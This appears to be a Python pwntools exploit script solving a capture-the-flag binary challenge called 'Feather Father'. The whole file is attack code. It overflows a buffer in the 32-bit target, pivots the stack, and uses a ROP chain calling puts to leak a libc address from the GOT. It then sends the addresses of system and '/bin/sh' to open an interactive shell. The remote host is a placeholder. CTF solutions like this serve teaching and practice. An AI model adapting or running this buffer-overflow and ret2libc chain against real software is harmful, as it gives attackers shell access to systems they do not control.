Feather Father

#!/usr/bin/env python3

from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux.so.2")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
context.log_level = "debug"
dbginit = """
handle SIGALRM noprint nostop nopass
b *0x8049224
"""


def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()
    offset = (312 - 4) * b'i'

    addr_ebp = 0x804c320
    ret = 0x8049231
    vuln = 0x8049214

    payload  = offset
    payload += p32(addr_ebp)
    payload += p32(vuln)
    payload += b'i'
    r.sendline(payload)

    offset = b'/bin/sh\0'.ljust(0x154, b'i')
    rop.puts(elf.got["setbuf"])
    rop.read(0,0x804c340,8)
    rop.puts(addr_ebp)


    print(rop.dump())

    r.sendline(offset + p32(addr_ebp) + rop.chain())

    r.recvuntil(b'Make your own feather here!\n')
    leak = r.recvuntil(b'\n',drop=True)
    leak = u32(leak[0:4])
    libc.address = leak - libc.sym["setbuf"]

    payload = p32(next(libc.search("/bin/sh")))
    payload += p32(libc.sym["system"])

    r.send(payload)

    r.interactive()

if __name__ == "__main__":
    main()